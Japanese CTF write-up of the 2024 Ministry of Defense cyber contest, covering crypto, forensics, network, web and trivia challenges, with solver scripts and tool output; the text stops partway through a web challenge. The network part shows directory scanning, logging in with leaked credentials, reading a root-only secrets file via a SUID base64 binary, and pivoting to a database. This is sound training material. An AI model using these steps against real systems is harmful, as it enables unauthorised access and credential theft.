3
5

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

防衛省サイバーコンテスト(防衛省CTF)2024 writeup

Last updated at Posted at 2024-02-25

防衛省・自衛隊:防衛省サイバーコンテストの開催について

全完。ただ、有料(有ポイント)のヒントを買うのに26ポイント使っていて3位。

image.png

vlc-cybercontest.com_challenges.png

vlc-cybercontest.com_user.png

Welcome

Welcome! (10 pts)

添付ファイルをダウンロードするとフラグが書かれている。

このCTFではサーバーで何かが動いているような問題にはVPNが必要。そのファイルもこの問題に添付されている。CTFdのファイル配布機能はその問題に関するファイル以外にも使えるんだなぁ。

flag{WelcomeToMODCyberContest!}

Crypto

Information of Certificate (10 pts)

Easy.crt ファイルは自己署名証明書です。証明書の発行者 (Issuer) のコモンネーム (CN) 全体を flag{} で囲んだものがフラグです。

Windowsなら素直にダブルクリックで開けば書かれている。

E = user@QRK7rNJ3hShV.vlc-cybercontest.invalid
CN = QRK7rNJ3hShV.vlc-cybercontest.invalid
OU = Invalid
O = Invalid
L = Nowhere
S = Some-State
C = XX

flag{QRK7rNJ3hShV.vlc-cybercontest.invalid}

Missing IV (20 pts)

NoIV.bin ファイルは、128bit AES の CBC モードで暗号化した機密ファイルですが、困ったことに IV (初期化ベクトル) を紛失してしまいました。このファイルからできる限りのデータを復元し、隠されているフラグを抽出してください。

暗号鍵は 16 進数表記で 4285a7a182c286b5aa39609176d99c13 です。

CBCなら、IVが違っていても最初の1個のブロック以外は壊れないので困らない。

solve.py
from Crypto.Cipher import AES

K = bytes.fromhex("4285a7a182c286b5aa39609176d99c13")
cipher = AES.new(K, AES.MODE_CBC, bytes(16))
P = cipher.decrypt(open("NoIV.bin", "rb").read())
open("NoIV.dec", "wb").write(P)
$ python3 solve.py

ZIPファイルだったので解凍。content.xml にフラグが書かれていた。Officeか何かのファイルだったのかな。

flag{ESYQV0fPMxz4wMmU}

Short RSA Public Key (20 pts)

RSA-cipher.dat ファイルは RSA 公開鍵 pubkey.pem で暗号化されています。公開鍵から秘密鍵を割り出し、暗号を解読してください。なお、パディングは PKCS#1 v1.5 です。

このツールはその辺の作業を全部やってくれる……がなぜか動かないな。しかたが無いのでPyCryptodomeで適当に。

solve.py
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5

key = RSA.import_key(open("pubkey.pem", "rb").read())
print(key.e, key.n)

# http://factordb.com/ で検索。

p = 1011146650909449935800449563521726151
q = 77614294907759846691928156982114516291863
d = pow(key.e, -1, (p-1)*(q-1))

privkey = RSA.construct((key.n, key.e, d))
print(PKCS1_v1_5.new(privkey).decrypt(open("RSA-cipher.dat", "rb").read(), "!"))
$ python3 solve.py
65537 78479434358679743508116090024686132395246871443799969871485501232049475609313
b'flag{X0Myx6IHI8}\n'

Cryptographically Insecure PRNG (30 pts)

PRNG.bin ファイルは下記の式で表される線形合同法で生成された疑似乱数列で XOR をとって暗号化されています。なお、生成された 4 バイトの数を最下位ビットから近い順に 1 バイトずつ平文と XOR をとるものとします。例えば、Hello Worldx_0 = 4294967295 = 0xFFFFFFFF の初期値で暗号化した場合、16 進ダンプで b7 9a 93 93 cb 21 57 6f a3 ec 65 となります。

x_{n+1} = (233 x_n + 653) mod 4294967296

鍵(初期値= x_0)を推定し、PRNG.bin に対応する平文からフラグを抽出してください。なお、平文は(内容に意味はありませんが) ASCII でエンコードされた英文であったことがわかっています。また、最初の単語は 4 文字以上です。

x_0 を全探索。

solve.py
C = open("PRNG.bin", "rb").read()
#C = bytes.fromhex("b79a9393cb21576fae3c65")

#for x0 in range(0x100000000):
#for x0 in range(0x81000000, 0x100000000):
for x0 in range(0x9c7b1690, 0x100000000):
    x = x0
    P = b""
    for i in range(0, len(C)-4, 4):
        p = (int.from_bytes(C[i:i+4], "little")^x).to_bytes(len(C[i:i+4]), "little")
        ok = True
        for c in p:
            if not 0x20<=c<0x7f:
                ok = False
                break
        if not ok:
            break
        P += p
        x = (233*x+653)%4294967296
    if len(P)>=16:
        print(hex(x0), P)
$ python3 solve.py
 :
0x9c7b1690 b'AG[hnS)lsE4EcTl?'
0x9d413690 b'Against selection release between gray knowledge. To interest trot versus protective morning. Round death annoy on interesting bat. Inside finger zip of jolly skate. Opposite flavor exercise of husky quiet. Minus plate include despite whole development. Below society desert than kindhearted head. To shirt guarantee anti steadfast secretary. Beneath tree laugh like romantic expert. To sisters end below hallowed carriage. flag{QVFE5i5LkZdR} Inside hook point into depressed hate. Past act reply anti quarrelsome stove. Aboard badge memorize amid vagabond farm. On riddle request without offbeat pets. At mouth object above present ink. Near curve stroke in garrulous trouble. Anti country answer through swift talk. Over test escape into puzzling crook. Than stream waste near uneven ants. About fireman choke along defective base'
0x9d4c1ebc b'mOliZ#i*_^nl75}8'

flag{QVFE5i5LkZdR}

Forensics

NTFS Data Hide (10 pts)

NTFSDataHide フォルダに保存されている Sample.pptx を利用して、攻撃者が実行予定のスクリプトを隠しているようです。 仮想ディスクファイル NTFS.vhd を解析して、攻撃者が実行しようとしているスクリプトの内容を明らかにしてください。

FTK Imagerで開くと、消されたファイルがあり flag{resident_in_mft} と書かれている。これを投稿しても不正解。「ヒントなのか?」と $MFT をダンプして眺めていたら、次の文字列が見えた。

[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('ZmxhZ3tkYXRhX2Nhbl9iZV9oaWRkZW5faW5fYWRzfQ==')

デコードすると flag{data_can_be_hidden_in_ads}

あれ、FTK Imagerって代替データストリームに対応していないのか。Autopsyのほうが良いのか……?

flag{data_can_be_hidden_in_ads}

NTFS File Delete (10 pts)

NTFSFileDelete フォルダにフラグを記載した txt ファイルを保存したのですが、どうやら何者かによって消されてしまったようです。

問題「NTFS Data Hide」に引き続き、仮想ディスクファイル NTFS.vhd を解析して、削除された flag.txt に書かれていた内容を見つけ出してください。

flag{resident_in_mft} はこっちの問題のフラグだった。

flag{resident_in_mft}

NTFS File Rename (20 pts)

NTFSFileRename フォルダに保存されている Renamed.docx は、以前は別のファイル名で保存されていました。

問題「NTFS File Delete」に引き続き、仮想ディスクファイル NTFS.vhdを解析して、 Renamed.docx の元のファイル名を明らかにしてください。

MFTを眺めているときに ~$urnaling_system_is_powerful.docx という文字列を見た。

flag{journaling_system_is_powerful}

HiddEN Variable (20 pts)

なぜかVolatilityが動かない。

$ python3 ../../../git/volatility3/vol.py -f memdump.raw windows.info.Info
Volatility 3 Framework 2.6.1
WARNING  volatility3.framework.plugins: Automagic exception occurred: volatility3.framework.exceptions.InvalidAddressException: Offset outside of the buffer boundaries

Unsatisfied requirement plugins.Info.kernel.symbol_table_name:

A symbol table requirement was not fulfilled.  Please verify that:
        The associated translation layer requirement was fulfilled
        You have the correct symbol file for the requirement
        The symbol file is under the correct directory or zip file
        The symbol file is named appropriately or contains the correct banner

Unable to validate the plugin requirements: ['plugins.Info.kernel.symbol_table_name']

バイナリエディタで眺めていると、 FLAG=BDkPUNzMM3VHthkj2cVEjdRBqTJcfLMJaxT9si67RgJZ45PS という文字列が見える。しかし、これを投稿しても不正解。

$ rm -rf ~/.cache/volatility3/*

したらVolatilityが動くようになった。

$ python3 ../../../git/volatility3/vol.py -f memdump.raw windows.envars
 :
2816	sihost.exe	0x1747e0e2010	DriverData	C:\Windows\System32\Drivers\DriverData
2816	sihost.exe	0x1747e0e2010	FLAG	BDkPUNzMM3VHthkj2cVEjdRBqTJcfLMJaxT9si67RgJZ45PS
2816	sihost.exe	0x1747e0e2010	HOMEDRIVE	C:
 :

これは環境変数だったらしい。問題名の大文字を読むとENVだし、Variableは環境変数のことだよなぁ……。Base64で復号しても意味不明な文字列にしかならない……。で、Base58だった。どうして……。

flag{volatile_environment_variable}

My Secret (30 pts)

問題「HiddEN Variable」に引き続き、メモリダンプファイル memdump.raw を解析して、秘密(Secret)を明らかにしてください。

$ python3 ../../../git/volatility3/vol.py -f memdump.raw windows.pstree.PsTree
 :
1396    conhost.exe     \??\C:\WINDOWS\system32\conhost.exe 0x4
5516    7z.exe  7z  x -pY0uCanF1ndTh1sPa$$w0rd C:\Users\vauser\Documents\Secrets.7z -od:\
6940    winpmem_mini_x  winpmem_mini_x64_rc2.exe  memdump.raw
$ python3 ../../../git/volatility3/vol.py -f memdump.raw windows.dumpfiles --pid=5516
Volatility 3 Framework 2.6.1
Progress:  100.00               PDB scanning finished
Cache   FileObject      FileName        Result

DataSectionObject       0xe206bbc4a2f0  Secrets.7z      Error dumping file
SharedCacheMap  0xe206bbc4a2f0  Secrets.7z      file.0xe206bbc4a2f0.0xe206bbabada0.SharedCacheMap.Secrets.7z.vacb
ImageSectionObject      0xe206bbc491c0  7z.dll  file.0xe206bbc491c0.0xe206bb46d770.ImageSectionObject.7z.dll.img
ImageSectionObject      0xe206bba6c490  7z.exe  file.0xe206bba6c490.0xe206b8b49730.ImageSectionObject.7z.exe.img
 :

file.0xe206bbc4a2f0.0xe206bbabada0.SharedCacheMap.Secrets.7z.vacb を Y0uCanF1ndTh1sPa$$w0rd で復号。

flag{you_cannot_find_this_secret!}

Miscellaneous

Une Maison (10 pts)

画像 maison.jpg の中にフラグが隠されています。探してみてください。

問題の画像を検索すると同じ画像が出てくるから、画像の内容は関係無いのかな……と思ったけど、一部がバーコードに書き換えられていた。

flag{$50M!}

String Obfuscation (10 pts)

string_obfuscation.py
import sys

if len(sys.argv) < 2:
    exit()

KEY = "gobbledygook".replace("b", "").replace("e", "").replace("oo", "").replace("gk", "").replace("y", "en")
FLAG = chr(51)+chr(70)+chr(120)+chr(89)+chr(70)+chr(109)+chr(52)+chr(117)+chr(84)+chr(89)+chr(68)+chr(70)+chr(70)+chr(122)+chr(109)+chr(98)+chr(51)

if sys.argv[1] == KEY:
    print("flag{%s}" % FLAG)

こう書き換えて実行。

string_obfuscation2.py
import sys

KEY = "gobbledygook".replace("b", "").replace("e", "").replace("oo", "").replace("gk", "").replace("y", "en")
FLAG = chr(51)+chr(70)+chr(120)+chr(89)+chr(70)+chr(109)+chr(52)+chr(117)+chr(84)+chr(89)+chr(68)+chr(70)+chr(70)+chr(122)+chr(109)+chr(98)+chr(51)

print(KEY, FLAG)
$ python3 string_obfuscation2.py
golden 3FxYFm4uTYDFFzmb3

flag{3FxYFm4uTYDFFzmb3}

Where Is the Legit Flag? (20 pts)

難読化した文字列を exec で実行している。そこを print に書き換えたりして解析。作ったけれど使っていない文字列があったので、そのコードを実行。

$ python3
Python 3.10.6 (main, May 29 2023, 11:10:38) [GCC 11.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from fakeflag import *
flog{8vje9wunbp984}
>>> "".join(SATO[i] for i in SUZUKI)
'flag{PHmN2ILK6vsa}'

flag{PHmN2ILK6vsa}

Utter Darkness (20 pts)

Photoshopで開いたら普通にフラグが書かれていた。

flag{YjM5MDUyYzAxMj}

Serial Port Signal (30 pts)

Tx.csv は、とあるシリアル通信の内容を傍受し、電気信号の Hi, Low をそれぞれ数字の 1 と 0 に変換したものです。通信内容を解析してフラグを抽出してください。

と言われてもなぁ……でヒントを購入。

シリアル通信の方式は UART です。

よく分かる! シリアル通信基礎講座 | 組込み技術ラボ

なるほど。信号がHighからLowになったら、1ビット分飛ばし、そこから7ビット読んで、パリティの1ビット分捨てることを繰り返せば良いらしい。

昔FPGAを触ったときに使ったけど、こんなにシンプルなプロトコルだったのか。

0や1の連続は最小でだいたい5個なので、5個で1ビット分だろう。

decode.py
d = open("Tx.csv").read()
D = []
for l in d.split("\n")[1:-1]:
  D += [int(l[-1])]

D = D[1100:]

p = 0
def read():
  global p
  d = D[p]
  p += 1
  return d

ans = ""
while True:
  while read()==1:
    pass
  for _ in range(4):
    read()
  x = 0
  for i in range(8):
    if sum(read() for _ in range(5))>2:
      x |= 1<<i
  ans += chr(x&0x7f)
  while read()==0:
    pass
  print(ans)
$ python3 decode.py
H
He
Hel
 :
Hello UART: synt{IjUZC5T
Hello UART: synt{IjUZC5TD
Hello UART: synt{IjUZC5TD}
 :
Hello UART: synt{IjUZC5TD}
Traceback (most recent call last):
  File "/mnt/d/documents/ctf/modctf2024/Serial Port Signal/decode.py", line 21, in <module>
    if sum(read() for _ in range(5))>2:
  File "/mnt/d/documents/ctf/modctf2024/Serial Port Signal/decode.py", line 21, in <genexpr>
    if sum(read() for _ in range(5))>2:
  File "/mnt/d/documents/ctf/modctf2024/Serial Port Signal/decode.py", line 9, in read
    d = D[p]
IndexError: list index out of range

良い感じだが、肝心のところが文字化けしている。この方式で同期がずれるとも思えないけど……で適当にずらしてみても変わらず。

synt{IjUZC5TD} をROT13で変換したらフラグになった。この1ステップ要らないでしょ……。

flag{VwHMP5GQ}

Network

Discovery (10 pts)

あなたはクライアントに依頼されて リリース予定の Web サーバー「10.10.10.21」に問題がないか確認することになりました。

対象サーバーにインストールされている CMS のバージョンを特定し、解答してください。

指定のIPアドレスにアクセスすると http://schatzsuche.ctf/ に飛ばされる。hostsに

10.10.10.21 schatzsuche.ctf

を追加。

でも「工事中」のページがあるだけ。

┌──(kali㉿kali)-[~]
└─$ dirb http://schatzsuche.ctf/                   

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Sat Feb 24 22:23:34 2024
URL_BASE: http://schatzsuche.ctf/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://schatzsuche.ctf/ ----
+ http://schatzsuche.ctf/cmsadmin (CODE:301|SIZE:162)                                                                          
==> DIRECTORY: http://schatzsuche.ctf/ftp/                                                                                     
+ http://schatzsuche.ctf/index.html (CODE:200|SIZE:428)                                                                        
+ http://schatzsuche.ctf/robots.txt (CODE:200|SIZE:4700)                                                                       
                                                                                                                               
---- Entering directory: http://schatzsuche.ctf/ftp/ ----
                                                                                                                               
-----------------
END_TIME: Sat Feb 24 22:25:05 2024
DOWNLOADED: 9224 - FOUND: 3

http://schatzsuche.ctf/ftp/credentials.txt

credentials.txt
[WebEdition account]
webeditor
verystrongpass2024

http://schatzsuche.ctf/cmsadmin を開いてこのIDとパスワードでログインし、システム情報を見た。

flag{9.2.2.0, Revision: 14877}

Exploit (20 pts)

クライアントに管理情報が露見していることを報告しました。 問題「Discovery」に引き続き、対象サーバー「10.10.10.21」にインストールされている CMS の脆弱性を調査し、機密情報(フラグ)を入手してください。

本問題の解答には、「Discovery」で発見した CMS を使用します。 なお、対象のCMSのコンテンツは約5分に1回の頻度でリセットされます。

sample.php が置かれていて、ここにPHPスクリプトが書けるっぽい? 書き換えようにも他の参加者も書き換えてきて邪魔……。いや、このまま待っていれば、その人がフラグを出力してくれるか……とおこぼれをもらった。

後から知ったけど、ファイルを書き換えても <?php は消される。ファイルそのものではなく、descriptionにPHPスクリプトを書くと実行されるらしい。

flag{G3t_R3v3rs3_Sh3ll}

Pivot (30 pts)

問題「Exploit」より、クライアントに CMS に脆弱性が確認されたことを報告しました。 クライアントは、対象サーバーはコンテナ化しているので安全だと思っていたと驚いていました。

クライアントから追加の依頼があり、保守用の SSH アカウント情報が漏洩した場合の影響を調査することになりました。ポートスキャンやファイル探索などを駆使し、対象サーバー「10.10.10.21」から機密情報(フラグ)を入手してください。

解答方式:flag{***************}

【ログイン情報】

  • User: george
  • Password: Mercedes63

secrets.txt というファイルがあるけど、rootしか読めない。Docker escapeなようなそうでもないような……。分からん。

ヒントを購入。

SSHサーバー内に機密情報のヒントがあるようです。
不審なテキストファイルがないか探してみましょう。

あるけど読めないんだって……。

SSHサーバー内で列挙に使えるコマンドがないか、調べてみましょう。

ls とか find とか……?

SSH サーバーで実行できるコマンドは少ないですが、ポートフォワーディングを利用すればうまくいくはずです。

謎。

ヒントが役に立たない。サーバーの中を漁っていたら、 base64 にSUIDビットが立っていた。

$ base64 secrets.txt
W01hcmlhREIgQWNjZXNzIEluZm9ybWF0aW9uXQpkYl91c2VyCkg0UmliMF85MGxkQjRSRU4K
$ echo 'W01hcmlhREIgQWNjZXNzIEluZm9ybWF0aW9uXQpkYl91c2VyCkg0UmliMF85MGxkQjRSRU4K' | base64
 -d
[MariaDB Access Information]
db_user
H4Rib0_90ldB4REN

ここで3個目のヒントを使うのか。

192.168.32.2 でMariaDBが動いていたのでポート転送。

$ mysql --host 192.168.0.9 --user=db_user --password
Enter password:
Welcome to the MariaDB monitor.  Commands end with ; or \g.
 :
MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| flag5              |
| information_schema |
+--------------------+
2 rows in set (0.009 sec)

MariaDB [(none)]> use flag5;
MariaDB [flag5]> show tables;
+-----------------+
| Tables_in_flag5 |
+-----------------+
| flag            |
+-----------------+
1 row in set (0.010 sec)

MariaDB [flag5]> select * from flag;
+----+------------------------+
| id | flag                   |
+----+------------------------+
|  1 | flag{p!V071ng_M31s73r} |
+----+------------------------+
1 row in set (0.010 sec)

MariaDB [flag5]>

flag{p!V071ng_M31s73r}

FileExtract (10 pts)

添付の FileExtract.pcapng ファイルからフラグを見つけ出し、解答してください。

FTPで s3cr3t.zip をやりとりしている。FTPのパスワードがZIPのパスワードでもあった。

flag{6qhFJSHAP4A4}

DO_tHe_best (20 pts)

タイトルからして、DNS over HTTPSでしょう。わざわざ自己証明書でHTTPSにしているのもそれっぽい。証明書は *.example.com

$ curl -sS --insecure 'https://10.10.10.20/dns-query?name=example.com&type=ANY' | jq
{
  "Status": 0,
  "TC": false,
  "RD": true,
  "RA": true,
  "AD": false,
  "CD": false,
  "Question": [
    {
      "name": "example.com.",
      "type": 255
    }
  ],
  "Answer": [
    {
      "name": "example.com.",
      "type": 6,
      "TTL": 86400,
      "Expires": "Mon, 26 Feb 2024 14:29:42 UTC",
      "data": "ns.example.com. hostmaster.examle.com. 2024120101 10800 3600 604800 86400"
    },
    {
      "name": "example.com.",
      "type": 15,
      "TTL": 86400,
      "Expires": "Mon, 26 Feb 2024 14:29:42 UTC",
      "data": "1 ns.example.com."
    },
    {
      "name": "example.com.",
      "type": 2,
      "TTL": 86400,
      "Expires": "Mon, 26 Feb 2024 14:29:42 UTC",
      "data": "ns.example.com."
    }
  ],
  "Additional": [
    {
      "name": "ns.example.com.",
      "type": 1,
      "TTL": 86400,
      "Expires": "Mon, 26 Feb 2024 14:29:42 UTC",
      "data": "10.10.10.20"
    }
  ]
}
$ curl -sS --insecure 'https://10.10.10.20/dns-query?name=ns.example.com&type=ANY' | jq
{
  "Status": 0,
  "TC": false,
  "RD": true,
  "RA": true,
  "AD": false,
  "CD": false,
  "Question": [
    {
      "name": "ns.example.com.",
      "type": 255
    }
  ],
  "Answer": [
    {
      "name": "ns.example.com.",
      "type": 1,
      "TTL": 86400,
      "Expires": "Mon, 26 Feb 2024 14:30:07 UTC",
      "data": "10.10.10.20"
    }
  ]
}
$ curl -sS --insecure 'https://10.10.10.20/dns-query?name=hostmaster.example.com&type=ANY'
 | jq
{
  "Status": 3,
  "TC": false,
  "RD": true,
  "RA": true,
  "AD": false,
  "CD": false,
  "Question": [
    {
      "name": "hostmaster.example.com.",
      "type": 255
    }
  ],
  "Authority": [
    {
      "name": "example.com.",
      "type": 6,
      "TTL": 86400,
      "Expires": "Mon, 26 Feb 2024 14:30:12 UTC",
      "data": "ns.example.com. hostmaster.examle.com. 2024120101 10800 3600 604800 86400"
    }
  ]
}
$ curl -sS --insecure 'https://10.10.10.20/dns-query?name=20.10.10.10.in-addr.arpa.&type=ANY' | jq
{
  "Status": 0,
  "TC": false,
  "RD": true,
  "RA": true,
  "AD": false,
  "CD": false,
  "Question": [
    {
      "name": "20.10.10.10.in-addr.arpa.",
      "type": 255
    }
  ],
  "Answer": [
    {
      "name": "20.10.10.10.in-addr.arpa.",
      "type": 12,
      "TTL": 86400,
      "Expires": "Mon, 26 Feb 2024 14:31:53 UTC",
      "data": "DSb-mt8ZVRtTCL97PDL4rRQxc3TbZ-gu.example.com."
    }
  ]
}
$ curl -sS --insecure 'https://10.10.10.20/dns-query?name=DSb-mt8ZVRtTCL97PDL4rRQxc3TbZ-gu.example.com&type=ANY' | jq
{
  "Status": 0,
  "TC": false,
  "RD": true,
  "RA": true,
  "AD": false,
  "CD": false,
  "Question": [
    {
      "name": "DSb-mt8ZVRtTCL97PDL4rRQxc3TbZ-gu.example.com.",
      "type": 255
    }
  ],
  "Answer": [
    {
      "name": "DSb-mt8ZVRtTCL97PDL4rRQxc3TbZ-gu.example.com.",
      "type": 1,
      "TTL": 86400,
      "Expires": "Mon, 26 Feb 2024 14:32:21 UTC",
      "data": "10.10.10.20"
    }
  ]
}

分からん。 DSb-mt8ZVRtTCL97PDL4rRQxc3TbZ-gu が怪しいけれど、これはフラグではないし、Baseなんとかを試してもそれっぽい文字列は出てこない。

この時点で唯一解いているst98さんは、この問題のヒントは買わずに解いている。解けなくてヒントを買って解けなかった人は多いだろう。と思うと買う意味無さそうなんだよな……。しかし、この問題が最後に残って、1個下の順位の人とは点差があり、1個上の人との点差が僅かだった。順位を上げられる期待値は高い……と購入。

オープンポートに対する通信の応答ヘッダを注意深く観察してください。

ヘッダに使っているDoHのソフトの名前が出力されていた。DoHということはもう知ってる。

ターゲットシステムではRFC 8484 ならびにGoogle方式の双方をサポートしています。

役に立たない……。

答え。

$ curl --insecure 'https://10.10.10.20/' -H 'Host: DSb-mt8ZVRtTCL97PDL4rRQxc3TbZ-gu.example.com'
<!DOCTYPE html>
<html>
<head>
<title>DO tHe best</title>
<style>
html { color-scheme: light dark; }
body { width: 35em; margin: 0 auto;
font-family: Tahoma, Verdana, Arial, sans-serif; }
</style>
</head>
<body>
        <h1>flag{8NZfrhDH-ZGe}</h1>
</body>
</html>

https://DSb-mt8ZVRtTCL97PDL4rRQxc3TbZ-gu.example.com でアクセスすればフラグが表示されると。

flag{8NZfrhDH-ZGe}

Programming

Logistic Map (10 pts)

下記のロジスティック写像について、x_0 = 0.3 を与えた時の x_9999 の値を求め、小数第7位までの値を答えてください(例:flag{0.1234567})。なお、値の保持と計算には倍精度浮動小数点数を使用してください。

x_{n+1} = 3.99 x_n (1 - x_n)

solve.py
x = 0.3
for _ in range(9999):
    x = 3.99*x*(1-x)
print(f"{x:.7f}")
$ python3 solve.py
0.8112735

flag{0.8112735}

Randomness Extraction (20 pts)

ファイル random.dat は一様でない乱数生成器の出力ですが、一部にフラグが埋め込まれています。フォン・ノイマンランダムネスエクストラクターを適用してフラグを抽出してください。

Randomness extractorというのは、ダメな乱数から良い乱数を抽出する手法らしい。へー。

Von Neumann extractorは、入力を2ビットずつペアにして、ビットの値が同じなら捨て、異なっていれば1ビット目を出力すれば良いらしい。

バイト列をビット列に直すのにエンディアンなどがあるので、適当に試す。

solve.py
d = open("random.dat", "rb").read()
D = []
for t in d:
  for b in range(8)[::-1]:
    D += [t>>b&1]

P = []
for i in range(0, len(D), 2):
  if D[i]!=D[i+1]:
    P += [D[i]]
assert(len(P)%8==0)

p = b""
for i in range(0, len(P), 8):
  t = 0
  for j in range(8):
    t |= P[i+j]<<(7-j)
  p += bytes([t])

open("extracted.dat", "wb").write(p)
$ python3 solve.py

質の良い乱数が出力されているようにしか見えない……と思ったけど、ファイルの真ん中あたりにフラグがあった。

flag{3TcPs8QFcX}

XML Confectioner (20 pts)

添付の sweets.xml には、多数の sweets:batch 要素が含まれています。これらの中から、下記の条件すべてを満たすものを探してください。

  1. 少なくとも二つの子要素 sweets:icecream が含まれる
  2. 子要素 sweets:icecream には icecream:amount 属性の値が 105g を下回るものがない
  3. 子要素 sweets:candycandy:weight 属性の値の合計が 28.0g 以上である
  4. 子要素 sweets:candycandy:shape 属性が 5 種類以上含まれる
  5. cookie:kind 属性が icing でありかつ cookie:radius 属性が 3.0cm 以上の子要素 sweets:cookie を少なくとも一つ含む

フラグは、条件を満たす sweets:batch 要素内において、最も cookie:radius 属性が大きな sweets:cookie 要素の内容に書かれています。

XPath? XQuery? なんかそういうので解く問題っぽいが……分からん。

こういうのはChatGPTが得意でしょ。→ クエリを書かせても、スクリプトを書かせても動かない。

ChatGPT 4ならきっと……。でも、20ドルか……。いや、しょうがない。課金(誤用)。

ChatGPT「了解しました。添付された sweets.xml ファイルを解析して、指定された条件を満たす sweets:batch 要素を見つけ、その中で最大の cookie:radius 属性を持つ sweets:cookie 要素の内容にあるフラグを特定します。まず、sweets.xml ファイルをアップロードしてください。それに基づいて解析を行います。」

頼もしい。アップロードするのでよろしくお願いします。

ChatGPT「解析した結果、提供された sweets.xml ファイルには、指定された条件を満たす sweets:batch 要素が存在しないようです。したがって、フラグを特定することはできませんでした。条件に誤りがあるか、もしくはファイルが想定通りの内容を含んでいない可能性があります。」

:anger:  お金を返してほしい。

色々試していたら、

ChatGPT「このクエリは、指定された名前空間と条件を考慮に入れていますが、XPath 1.0 では sum() 関数や distinct-values() 関数は使用できません。XPath 2.0 以降ではこれらの関数が利用可能です。また、属性値の比較については、数値比較として正しく解釈されるよう、適宜型変換が必要になる場合があります。」

とか言ってきた。 xpath で試していたけど、2.0に対応していなかったりするのかな。

sweets:icecream が2個以上で、 sweets:candy も5種類以上だから5個以上でしょ、はこれでフィルタできた。

$ xpath -e '//sweets:batch[count(sweets:icecream) >= 2 and count(sweets:candy) >= 5]' sweets.xml > filtered.xml

あとは手作業で頑張った。なぜ人間様がこんな作業を……。

flag{sZ8d5FbntXbL9uwP}

Twisted Text (30 pts)

添付の画像 Twisted.png は、画像の中心からの距離 r [pixel] に対して

θ = - (r ^ 2) / (250 ^ 2) [rad]

だけ回転されています(反時計回りを正とします)。逆変換を施してフラグを復元してください。

Twisted.png。

Twisted.png

solve.py
from PIL import Image
import math

im0 = Image .open("Twisted.png")
im1 = Image.new("RGB", (1280, 1280))

for y in range(1280):
    for x in range(1280):
        r = ((y-640)**2+(x-640)**2)/250.**2
        x2 = int((x-640)*math.cos(r)-(y-640)*math.sin(r)+640)
        y2 = int((x-640)*math.sin(r)+(y-640)*math.cos(r)+640)
        if 0<=x2<1280 and 0<=y2<1280:
            im1.putpixel((x, y), im0.getpixel((x2, y2)))
im1.save("fixed.png")
$ python3 solve.py

fixed.png。

fixed.png

flag{LHZGhq3WTXvo}

Trivia

The Original Name of AES (10 pts)

課金したのでChatGPTを使おう。

あなた
Advanced Encryption Standard (AES) は、公募によって策定された標準暗号です。 現在採用されているアルゴリズムの候補名は何だったでしょうか?

ChatGPT
Advanced Encryption Standard (AES) の採用前、この暗号アルゴリズムは "Rijndael"(ラインダール)という名前で知られていました。ベルギーの暗号学者であるヴィンセント・ライメン(Vincent Rijmen)とジョーン・ダエメン(Joan Daemen)が開発しました。AESは、米国国立標準技術研究所(NIST)による公募プロセスを経て、2000年に既存のDES(Data Encryption Standard)を置き換える新しい標準暗号として選ばれました。Rijndaelアルゴリズムは、その柔軟性とセキュリティの高さから選ばれました。

flag{Rijndael}

CVE Record of Lowest Number (10 pts)

あなた
最も番号が若い CVE レコードのソフトウェアパッケージにおいて、脆弱性が指摘された行を含むソースファイル名は何でしょう?

ChatGPT
解析中にエラーが発生しました
現在の環境ではインターネットにアクセスできないため、直接CVEデータベースに問い合わせて最も番号が若いCVEレコードを取得することはできません。しかし、通常、CVE番号は発行年と連続する番号で構成されているため、最も若いCVE番号はおそらく1999年に最初に導入されたときのものでしょう。

CVEの初期のレコードについての情報は、CVEデータベースの公式ウェブサイトや他のセキュリティ関連のデータベースで検索できます。最も若い番号のCVEレコードに関連する脆弱性が指摘された行を含むソースファイル名を知りたい場合は、そのCVE番号(例: CVE-1999-0001)を使ってこれらのデータベースで検索することをお勧めします。 ​

使えん……。まあ、そうか、連番だから0001か。

CVE-1999-0001
ip_input.c in BSD-derived TCP/IP implementations allows remote attackers to
cause a denial of service (crash or hang) via crafted packets.

flag{ip_input.c}

MFA Factors (10 pts)

あなた
多要素認証に使われる本人確認のための3種類の情報の名前は何でしょう?それぞれ漢字2文字で、50音の辞書順で並べて「・」で区切ってお答えください。

解答形式:flag{○○・○○・○○} (それぞれ漢字2文字)

ChatGPT
多要素認証に使用される本人確認のための3種類の情報は「知識・所持・生体」となります。これらは一般的に、ユーザーが知っているもの(パスワードやPIN)、ユーザーが持っているもの(IDカードや携帯電話)、ユーザー自身の生体認証情報(指紋や虹彩スキャン)を指します。

解答形式に従って、これらを50音の辞書順に並べ、「・」で区切ると以下のようになります。

解答形式: flag{所持・生体・知識}

flag{所持・生体・知識}

Web

Browsers Have Local Storage (10 pts)

http://10.10.10.30 にアクセスしてフラグを見つけ出し、解答してください。

ローカルストレージ。

FLAG{Th1s_1s_The_fIrst_flag}

Are You Introspective? (10 pts)

http://10.10.10.31 にアクセスしてフラグを見つけ出し、解答してください。 このサイトでは GraphQL が使用されているため、まずは endpoint を探す必要があります。

全然見つからない。

ヒント購入。

GraphQL の endpoint がどんな path で表現されるか、注意深く調べましょう。 version 管理されている可能性も考慮してください。

http://10.10.10.31/graphql/v1/ だった。こんなん分からんて。

てっきりAPIがあるだけかと思ったら、GUIで結果を見ながら操作できるようになっており、適当に触っていたら、補完で出てきた。

image.png

FLAG{Is_this_your_first_time_using_GraphQL}

Insecure (20 pts)

あなたは社内ポータルサイト(http://10.10.10.33)の管理者に依頼されて、profile ページが安全に保護されているかチェックすることになりました。 以下のログイン情報を用いてサイトにログインし、管理者の profile ページに記載されている秘密の情報を見つけてください。 なお、依頼の際に「管理者ページのidは0だよ」というヒントをもらっています。

【ログイン情報】

User: testUser
Password: diejuthdkfi14

$ curl -v 'http://10.10.10.33/show_profile.php?id=0' -H 'Cookie: PHPSESSID=b83451ad3b602c3ec7c739927e7dc7c5'
 :
< HTTP/1.1 302 Found
 :
< Location: profile_error.php
 :
